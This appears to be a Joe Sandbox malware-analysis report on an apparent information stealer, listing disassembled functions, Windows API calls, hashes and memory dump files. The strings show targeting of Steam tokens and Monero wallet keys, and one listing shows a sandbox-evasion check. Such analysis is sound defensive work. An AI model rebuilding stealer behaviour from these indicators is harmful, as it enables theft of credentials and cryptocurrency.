Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 4047604823-4138519520
Opcode ID: 9b9d7148e5441dbf3fd0bdea2e121a9285c8f67cc936e99074963d782fde8065
Instruction ID: 3e3bfd47c01fa8cc23b1593e71faa279979a6b2dc69d1c8486550ca874ea52c8
Opcode Fuzzy Hash: 9b9d7148e5441dbf3fd0bdea2e121a9285c8f67cc936e99074963d782fde8065
Instruction Fuzzy Hash: 8E516CB0D442189BDB24EBA0DC85BEEBBB4AF54304F5084E8E215761C1EF746E88CF59

Function 6CAA3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CAA3095

Part of subcall function 6CAA35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CB2F688,00001000), ref: 6CAA35D5
Part of subcall function 6CAA35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CAA35E0
Part of subcall function 6CAA35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CAA35FD
Part of subcall function 6CAA35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CAA363F
Part of subcall function 6CAA35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CAA369F
Part of subcall function 6CAA35A0: __aulldiv.LIBCMT ref: 6CAA36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAA309F

Part of subcall function 6CAC5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CAC56EE,?,00000001), ref: 6CAC5B85
Part of subcall function 6CAC5B50: EnterCriticalSection.KERNEL32(6CB2F688,?,?,?,6CAC56EE,?,00000001), ref: 6CAC5B90
Part of subcall function 6CAC5B50: LeaveCriticalSection.KERNEL32(6CB2F688,?,?,?,6CAC56EE,?,00000001), ref: 6CAC5BD8
Part of subcall function 6CAC5B50: GetTickCount64.KERNEL32 ref: 6CAC5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CAA30BE

Part of subcall function 6CAA30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CAA3127
Part of subcall function 6CAA30F0: __aulldiv.LIBCMT ref: 6CAA3140

Part of subcall function 6CADAB2A: __onexit.LIBCMT ref: 6CADAB30

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 4c60bf102d553a702dca3f901d1aef81b20c25251a5d7e019aa0020391b0ddd0
Instruction ID: 911daec799d6cf2b216b8c417d50dcf112736b0afe52ab21b7b425308f051183
Opcode Fuzzy Hash: 4c60bf102d553a702dca3f901d1aef81b20c25251a5d7e019aa0020391b0ddd0
Instruction Fuzzy Hash: AAF0F422E2079896CB11DF748941AFAB774EF6B214F511719E88563621FB24A5DCC382

Function 00B09470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00B09484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00B094A5
CloseHandle.KERNEL32(00000000), ref: 00B094AF

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 0318a91ced604348341781151edff3f1986d9b64aba1fc775a1dd6276660da2a
Instruction ID: db05dcc6f1dbd659e18653762b28fdd8641986124351a76067b27d25deda14ea
Opcode Fuzzy Hash: 0318a91ced604348341781151edff3f1986d9b64aba1fc775a1dd6276660da2a
Instruction Fuzzy Hash: 7EF03A74A0030CEBDB14DFA4DC4AFED77B8EB08300F004498BA0997290D6B06E85CB91

Function 00AF1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00AF112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00AF1132
ExitProcess.KERNEL32 ref: 00AF1143

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: d61f089f688fb0583675f90f6c0ac44a30df6fcdae6439abbe22d6c96171b31a
Instruction ID: 86b4597d8301a2fe8b15edf1cfeff6f538df724633fe839ff7ff7d2a86b9449e
Opcode Fuzzy Hash: d61f089f688fb0583675f90f6c0ac44a30df6fcdae6439abbe22d6c96171b31a
Instruction Fuzzy Hash: D5E0E670B4534CFBE7506BE4DD0EB197678AB04B01F104154F709B62D0D6B5264096A9

Function 00AF6D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bcc9fbf966533af7636d6d7daeceb8fea5274d1d398733b077e18d6825578d7
Instruction ID: 9e840e0710dfc50115652c833299e04164285402dcfa3cdb56ca55abc0487d54
Opcode Fuzzy Hash: 0bcc9fbf966533af7636d6d7daeceb8fea5274d1d398733b077e18d6825578d7
Instruction Fuzzy Hash: B96103B590021CEFCB14DF94EA84BEEB7B0BB08304F108598F619A7281D775AE94DF91

Function 00B05100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B0A820: lstrlen.KERNEL32(00AF4F05,?,?,00AF4F05,00B10DDE), ref: 00B0A82B
Part of subcall function 00B0A820: lstrcpy.KERNEL32(00B10DDE,00000000), ref: 00B0A885

lstrlen.KERNEL32(00000000,00000000,00B10ACA), ref: 00B0512A

Strings

steam_tokens.txt, xrefs: 00B0513F

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 15dd7b2c01bbca3295b980f8439480ceac6e9002f96da4d1f611f2ae72e197bd
Instruction ID: 694e609ac89fde5a07ccec4b64d11c49fcd4d34514d30599a6b902dd7f4a634b
Opcode Fuzzy Hash: 15dd7b2c01bbca3295b980f8439480ceac6e9002f96da4d1f611f2ae72e197bd
Instruction Fuzzy Hash: 57F01D71D1020866CB04F7B4DD57DED7B7C9F54300F8085A8B557624D2EF25AA09C7A2

Function 00B07ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00B10E2C), ref: 00B07F00
wsprintfA.USER32 ref: 00B07F16

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 4a54f37ce00dcfb0c14726b3ed8e5c45fec0c06b1a75081e1935ccf8accf2e94
Instruction ID: 9293b2c12821fcf2f64d8f2325858873dd00f3eef534025e1ea2825f1e00c9ae
Opcode Fuzzy Hash: 4a54f37ce00dcfb0c14726b3ed8e5c45fec0c06b1a75081e1935ccf8accf2e94
Instruction Fuzzy Hash: 34F096B1A44618EBC710DF88DC45FAAFBBCFB44714F4006A9F51592280D7B569448BE1

Function 00AFB4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,00768A98,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

Part of subcall function 00B0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B0A7E6

lstrlen.KERNEL32(00000000), ref: 00AFB9C2
lstrlen.KERNEL32(00000000), ref: 00AFB9D6

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 762d3007b6a0e1c18911d65df9964981d317bedbe10b753346360522e07fdd0a
Instruction ID: 1b6cc16720cea69129202b7aa4036fa56545e119ea75c8d354aca134f277f630
Opcode Fuzzy Hash: 762d3007b6a0e1c18911d65df9964981d317bedbe10b753346360522e07fdd0a
Instruction Fuzzy Hash: A6E1F2729103189BDB04FBA4DD96EEE77B8AF54300F404999F106B61E1EF346A49CB72

Function 00AFAEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,00768A98,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

